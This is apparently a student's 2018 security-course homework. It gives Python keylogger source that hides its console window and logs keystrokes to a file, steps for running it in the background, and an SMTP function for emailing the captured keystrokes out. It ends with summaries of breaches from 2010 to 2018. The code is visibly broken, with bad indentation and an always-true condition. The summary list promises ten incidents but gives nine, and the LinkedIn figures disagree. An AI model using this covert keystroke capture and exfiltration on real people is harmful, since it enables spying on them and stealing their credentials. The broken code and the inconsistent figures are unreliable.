**Tutorial -1**

**Date of Posting:** 20th July, 2018 **Date of Submission:** 27th July, 2018

Q1. Explore freeware keyloggers on github. Write your own keylogger in language of your choice.

**Some Keyloggers on GitHub:**

Simple Keylogger for Windows: <https://github.com/w8rbt/keycap>

Simple Keylogger for Android: <https://github.com/tomgersic/AndroidKeyLogger>

**Basic Key Logger in Python**

import win32api

import win32console

import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):

    if event.Ascii==5:

        \_exit(1)

    if event.Ascii !=0 or 8:

            f = open('c:\output.txt', 'r+')

        buffer = f.read()

        f.close()

            f = open('c:\output.txt', 'w')

        keylogs = chr(event.Ascii)

        if event.Ascii == 13:

        keylogs = '/n'

        buffer += keylogs

        f.write(buffer)

        f.close()

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

Q2. Explore and write steps to run your keylogger in background, record all the strokes and send it over to you on mail or any other mechanism.

**To run any process in background in Ubuntu**

nohup keylogger.py

Or we can also make a deamon process.

**Setting up a simple SMTP server in python to send emails.**

import smtplib

def sendMail(message):

sender = 'from@fromdomain.com'

receivers = ['to@todomain.com']

try:

smtpObj = smtplib.SMTP('localhost')

smtpObj.sendmail(sender, receivers, message)

print "Successfully sent email"

except SMTPException:

print "Error: unable to send email"

This function can be called with above key logger to send results over email.

Q3. Write a summary of 10 major computer/web security incidents that took place between 2010 – 2018. Each incident should be described in 3-4 lines about who was attacker, who was victim and impact of attack.

**2010: Collapse of Aloha Point-of-Sale (POS) system**

These Aloha systems are used by small-to-medium sized restaurants that take thousands of credit card numbers each year. Knowing this, Max set a computer program to constantly scan the U.S. for systems that had port 5505 open. This would indicate that the computer was running Alaho's POS system, as port 5505 is not used by any other common service, and that the vulnerable service was open and available

Max was convicted of two counts of wire fraud, including stealing nearly 2 million credit card numbers and running up about $86 million in fraudulent charges.

**2010: Stuxnet Worm**

A worm program that was less than 1 MB in size was released into Iran's nuclear refinement plants. Once there, it secretly took over the Siemens SCADA control systems. This sneaky worm commanded more than 5,000 of Iran's 8,800 uranium centrifuges to spin out of control, then suddenly stop and then resume, while simultaneously reporting that all is well. This chaotic manipulating went on for 17 months, ruining thousands of uranium samples in secret and causing the staff and scientists to doubt their own work. All the while, no one knew that they were being deceived and simultaneously vandalized.

**2012: Global Payments Hack: 110 Million Credit Cards**

Global Payments is one of the several companies that handle credit card transactions for lenders and vendors. Global Payments specializes in small-business vendors. In 2012, their systems were breached by hackers and information on people's credit cards was stolen. Some of those users have since experienced fraudulent transactions.

**2013: Spamhaus: The Largest DDOS Attack in History**

A distributed denial of service attack is a data flood. By using dozens of hijacked computers that repeat signals at a high rate and volume, hackers will flood and overload computer systems on the Internet.

In March of 2013, this particular DDOS attack was large enough that it slowed the entire Internet across the planet and completely shut down parts of it for hours at a time.

The perpetrators used hundreds of domain-name servers to reflect signals repeatedly, amplifying the flood effect and sending up to 300 gigabits per second of flood data to each server on the network.

**2014: Home Depot Hack**

By exploiting a password from one of its stores' vendors, the hackers of Home Depot achieved the largest retail credit card breach in human history (50 Million Credit Cards). Through careful tinkering of the Microsoft operating system, these hackers managed to penetrate the servers before Microsoft could patch the vulnerability.

**2014: eBay Hack: 145 Million Users Breached**

Some people say this is the worst breach of public trust in online retail. Others say that it was not nearly as harsh as mass theft because only personal data was breached, not financial information.

Whichever way you choose to measure this unpleasant incident, millions of online shoppers have had their password-protected data compromised. This hack is particularly memorable because it was public and because eBay was painted as weak on security because of the company's slow and lackluster public response.

**2015: Ashley Madison Hack 2015: 37 Million Users**

The hacker group Impact Team broke into the Avid Life Media servers and copied the personal data of 37 million Ashley Madison users. The hackers then incrementally released this information to the world through various websites. The effect on people's personal reputations rippled across the world, including claims that user suicides followed after the hack.

**2016: LinkedIn: 164 Million Accounts**

In a slow-motion breach that took four years to reveal, the social networking giant admits that 117 million of its users had their passwords and logins stolen in 2012, to later have that information sold on the digital black market in 2016.

The reason this is a significant hack is because of how long it took for the company to understand how badly they had been hacked. Four years is a long time to realize you've been robbed.

**2017: WannaCry ransomware attack**

The WannaCry ransomware attack was a May 2017 worldwide cyberattack by the WannaCry ransomware cryptoworm, which targeted computers running the Microsoft Windows operating system by encrypting data and demanding ransom payments in the Bitcoin cryptocurrency. It propagated through EternalBlue, an exploit in older Windows systems released by The Shadow Brokers a few months prior to the attack. While Microsoft had released patches previously to close the exploit, much of WannaCry's spread was from organizations that had not applied these, or were using older Windows systems that were past their end-of-life. WannaCry also took advantage of installing backdoors onto infected systems.

The attack was estimated to have affected more than 200,000 computers across 150 countries, with total damages ranging from hundreds of millions to billions of dollars. Security experts believed from preliminary evaluation of the worm that the attack originated from North Korea or agencies working for the country.

References:

1. <https://www.lifewire.com/the-greatest-computer-hacks-4060530>

2. <https://en.wikipedia.org/wiki/WannaCry_ransomware_attack>

3. <https://null-byte.wonderhowto.com/how-to/hack-like-pro-scripting-for-aspiring-hacker-part-1-bash-basics-0149422/>